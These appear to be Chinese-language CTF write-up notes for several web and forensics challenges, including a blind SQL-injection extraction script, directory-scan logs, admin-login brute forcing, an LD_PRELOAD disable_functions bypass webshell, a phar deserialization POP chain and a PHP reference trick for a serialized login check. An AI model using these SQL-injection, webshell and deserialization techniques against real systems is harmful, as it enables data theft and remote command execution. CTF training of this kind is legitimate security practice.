modbus 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 def get_code (): captures = pyshark.FileCapture("question_1564353677_modbus1.pcap" ) func_codes = {} for c in captures: for pkt in c: if pkt.layer_name == "modbus" : func_code = int (pkt.func_code) if func_code in func_codes: func_codes[func_code] += 1 else : func_codes[func_code] = 1 print (func_codes) if __name__ == '__main__' : get_code()
[CISCN 2019华北Day2]Web1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import requests url = 'http://node4.anna.nssctf.cn:28456/index.php' database = "" payload1 = "?stunum=1^(ascii(substr((select(database())),{},1))>{})^1" payload2 = "?stunum=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{},1))>{})^1" payload3 = "?stunum=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),{},1))>{})^1" payload4 = "if(ascii(substr((select(flag)from(flag)),{},1))>{},1,2)" for i in range (1 , 10000 ): low = 32 high = 128 mid = (low + high) // 2 while (low < high): DATA = {"id" :payload4.format (i,mid)} new_url = url r = requests.post(new_url,data=DATA) if "Hello" in r.text: low = mid + 1 else : high = mid mid = (low + high) // 2 database += chr (mid) if (mid==32 or mid==128 ): break print ("[+]" +database)
[NSSCTF 3rd]NSS影院
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 [10:21:20] Starting: [10:21:20] 301 - 185B - /js -> http://node7.anna.nssctf.cn/js/ [10:21:39] 200 - 0B - /.htaccess [10:23:23] 301 - 185B - /article -> http://node7.anna.nssctf.cn/article/ [10:23:23] 200 - 1KB - /article/ [10:23:48] 301 - 185B - /comment -> http://node7.anna.nssctf.cn/comment/ [10:24:01] 301 - 185B - /data -> http://node7.anna.nssctf.cn/data/ [10:24:07] 301 - 185B - /detail -> http://node7.anna.nssctf.cn/detail/ [10:24:16] 200 - 1KB - /err.php [10:24:23] 200 - 15KB - /favicon.ico [10:24:39] 200 - 1KB - /i.php [10:24:42] 301 - 185B - /include -> http://node7.anna.nssctf.cn/include/ [10:24:46] 301 - 185B - /install -> http://node7.anna.nssctf.cn/install/ [10:24:58] 301 - 185B - /list -> http://node7.anna.nssctf.cn/list/ [10:25:01] 200 - 1KB - /login.php [10:25:10] 200 - 3KB - /member.php [10:25:22] 301 - 185B - /news -> http://node7.anna.nssctf.cn/news/ [10:26:01] 200 - 1KB - /s.php [10:26:04] 200 - 1KB - /search.php [10:26:31] 301 - 185B - /templets -> http://node7.anna.nssctf.cn/templets/ [10:26:36] 301 - 185B - /topic -> http://node7.anna.nssctf.cn/topic/ [10:26:39] 301 - 185B - /upload -> http://node7.anna.nssctf.cn/upload/ [10:26:40] 301 - 185B - /uploads -> http://node7.anna.nssctf.cn/uploads/ [10:26:46] 301 - 185B - /video -> http://node7.anna.nssctf.cn/video/ [10:27:03] 200 - 42KB - /www.zip
www.zip 发现是一个密码字典 一看就是需要爆破
data目录
1 2 3 4 5 [10:50:24] 301 - 185B - /data/admin -> http://node7.anna.nssctf.cn/data/admin/ [10:51:30] 301 - 185B - /data/cache -> http://node7.anna.nssctf.cn/data/cache/ [10:55:33] 301 - 185B - /data/sessions -> http://node7.anna.nssctf.cn/data/sessions/
后来发现 在这里面有提示 是后台
进入是海洋cms
验证码 跟phpsessid 绑定 。一个phpsessid 可以多次放包利用同一个验证码 进行爆破
弱验证码 可以识别 爆破
刚才给了字典,利用字典这两种爆破都可以 。但是目前有个问题就是我们不知道用户 搜集了一下发帖子的 用户看到了一个 d3f4u1t
再拿到字典爆破成功登陆 看到flag
[CISCN 2023 西南]do_you_like_rea 后台登陆 admin/admin123 登陆后有一个上传点 ,可以上传一些文件
后来才发现我们有一个附件 ,里面有数据库配置信息 这个给不给都可以。太扯淡了,admin123 我自己就能试出来
上传点同样扯淡,这还需要代码审计 ,不是白名单,后缀随便传递 env
看了wp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>" ; $cmd = $_GET ["cmd" ]; $out_path = $_GET ["outpath" ]; $evil_cmdline = $cmd . " > " . $out_path . " 2>&1" ; echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>" ; putenv ("EVIL_CMDLINE=" . $evil_cmdline ); $so_path = $_GET ["sopath" ]; putenv ("LD_PRELOAD=" . $so_path ); mail ("" , "" , "" , "" ); echo "<p> <b>output</b>: <br />" . nl2br (file_get_contents ($out_path )) . "</p>" ; unlink ($out_path ); ?>
[CISCN 2019华北Day1]Web1 1 2 3 4 5 [09:53:50] 200 - 1KB - /login.php [09:53:57] 200 - 1KB - /register.php [09:54:01] 301 - 185B - /static -> http://node4.anna.nssctf.cn/static/ [09:54:04] 301 - 185B - /uploads -> http://node4.anna.nssctf.cn/uploads/
扫了半天发现一无所获。之后上传点传了一个jpg发现可以下载,下载可以下载绝对路径 直接下载任意文件
审计 download.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 include "class.php" ;ini_set ("open_basedir" , getcwd () . ":/etc:/tmp" );chdir ($_SESSION ['sandbox' ]);$file = new File ();$filename = (string ) $_POST ['filename' ];if (strlen ($filename ) < 40 && $file ->open ($filename ) && stristr ($filename , "flag" ) === false ) { Header ("Content-type: application/octet-stream" ); Header ("Content-Disposition: attachment; filename=" . basename ($filename )); echo $file ->close (); } else { echo "File not exist" ; }
这里有任意文件下载主要是因为 open_basedir 因为他限制了。 当前脚本只有访问/var/www/html 和 /etc /tmp 的权限只能下载子目录
phar 反序列化
有文件上传点
有伪协议触发点
有危险序列化 操作
首先看一下 链子 // 链子 User()->Filelist()->close方法->call()方法->File()->close()方法执行->Filelist 析构方法执行
1 2 3 4 5 6 7 public function close ( ) { return file_get_contents ($this ->filename); }
可以看到User 有一个 close 的方法调用但是close是关闭 数据库连接的 。但是$this->db可控可以换成 File的对象 但是我们发现我们并没有输出。我们无法返回到前端。也就是我们读了文件但是无法输出
1 2 3 4 public function __destruct ( ) { $this ->db->close (); }
Filelist有一个__call函数
1 2 3 4 5 6 7 public function __call ($func , $args ) { array_push ($this ->funcs, $func ); foreach ($this ->files as $file ) { $this ->results[$file ->name ()][$func ] = $file ->$func (); } }
$func 是close 方法 $file 可以换成File对象。 然后可以利用 $file的close方法。然后保存到 $this->result方法中。 此时恰好__destruct 有可以回显我们result的功能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public function __destruct ( ) { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">' ; $table .= '<thead><tr>' ; foreach ($this ->funcs as $func ) { $table .= '<th scope="col" class="text-center">' . htmlentities ($func ) . '</th>' ; } $table .= '<th scope="col" class="text-center">Opt</th>' ; $table .= '</thead><tbody>' ; foreach ($this ->results as $filename => $result ) { $table .= '<tr>' ; foreach ($result as $func => $value ) { $table .= '<td class="text-center">' . htmlentities ($value ) . '</td>' ; } $table .= '<td class="text-center" filename="' . htmlentities ($filename ) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>' ; $table .= '</tr>' ; } echo $table ; }
于是我们的思路就是利用 User 的去调用 Filelist的___call 把我们的Filelist中的file换成File类的对象去执行close方法。然后保存在result中,最后在离开的时候去回显出来。
完整的链子。
触发phar 上传 phar 链子搭建好了只是完成了第一步,首先我们需要上传一个phar文件。这个phar文件生成的时候需要.phar 后缀但是上传之后随便后缀就可以。
触发 首先,利用phar协议[[php反序列化#phar触发点]] 我们可以有两个地方可以触发phar协议
download.php
都可以触发,但是不能用因为open_basedir 规定了不能读取根目录。所以flag读取不到。delete.php
很幸运,delete.php 并没有相关操作。 因此可以用delete.php触发。
上传然后抓包 删除修改filename 成功触发序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 <?php function get_client_header ( ) { $headers =array (); foreach ($_SERVER as $k =>$v ){ if (strpos ($k ,'HTTP_' )===0 ){ $k =strtolower (preg_replace ('/^HTTP/' , '' , $k )); $k =preg_replace_callback ('/_\w/' ,'header_callback' ,$k ); $k =preg_replace ('/^_/' ,'' ,$k ); $k =str_replace ('_' ,'-' ,$k ); if ($k =='Host' ) continue ; $headers []="$k :$v " ; } } return $headers ; } function header_callback ($str ) { return strtoupper ($str [0 ]); } function parseHeader ($sResponse ) { list ($headerstr ,$sResponse )=explode (" " ,$sResponse , 2 ); $ret =array ($headerstr ,$sResponse ); if (preg_match ('/^HTTP/1.1 d{3}/' , $sResponse )){ $ret =parseHeader ($sResponse ); } return $ret ; } set_time_limit (120 );$headers =get_client_header ();$host = "127.0.0.1" ;$port = 63515 ;$errno = '' ;$errstr = '' ;$timeout = 30 ;$url = "/index.php" ;if (!empty ($_SERVER ['QUERY_STRING' ])){ $url .= "?" .$_SERVER ['QUERY_STRING' ]; }; $fp = fsockopen ($host , $port , $errno , $errstr , $timeout );if (!$fp ){ return false ; } $method = "GET" ;$post_data = "" ;if ($_SERVER ['REQUEST_METHOD' ]=='POST' ) { $method = "POST" ; $post_data = file_get_contents ('php://input' ); } $out = $method ." " .$url ." HTTP/1.1\r\n" ;$out .= "Host: " .$host .":" .$port ."\r\n" ;if (!empty ($_SERVER ['CONTENT_TYPE' ])) { $out .= "Content-Type: " .$_SERVER ['CONTENT_TYPE' ]."\r\n" ; } $out .= "Content-length:" .strlen ($post_data )."\r\n" ;$out .= implode ("\r\n" ,$headers );$out .= "\r\n\r\n" ;$out .= "" .$post_data ;fputs ($fp , $out );$response = '' ;while ($row =fread ($fp , 4096 )){ $response .= $row ; } fclose ($fp );$pos = strpos ($response , "\r\n\r\n" );$response = substr ($response , $pos +4 );echo $response ;
hubuctfweb3 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php error_reporting (0 );highlight_file (__FILE__ );$flag = getenv ("GZCTF_FLAG" );class hubu { public $token ; private $password ; public function __construct ($t ,$p ) { $this ->token= $t ; $this ->password = $p ; } public function login ( ) { return $this ->token===$this ->password; } } $data = unserialize ($_GET ['hubu' ]);$data ->token=md5 (mt_rand ());if ($data ->login ()){ echo $flag ; }
使用了引用的功能,将两个属性使用引用,我们可以利用变量引用机制将两个变量地址引用相同,从而达到两个值无论怎么变化始终相等。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php error_reporting (0 ); highlight_file (__FILE__ ); $flag = getenv ("GZCTF_FLAG" ); class hubu { public $token ; public $password ; public function __construct ( ) { $this ->token= &$this ->password; $this ->password = 1 ; } public function login ( ) { return $this ->token===$this ->password; } } $a =new hubu (); echo urlencode (serialize ($a ));
[陇剑杯 2021]内存分析(问1) 直接权证打开,找到密码文件然后找到密码。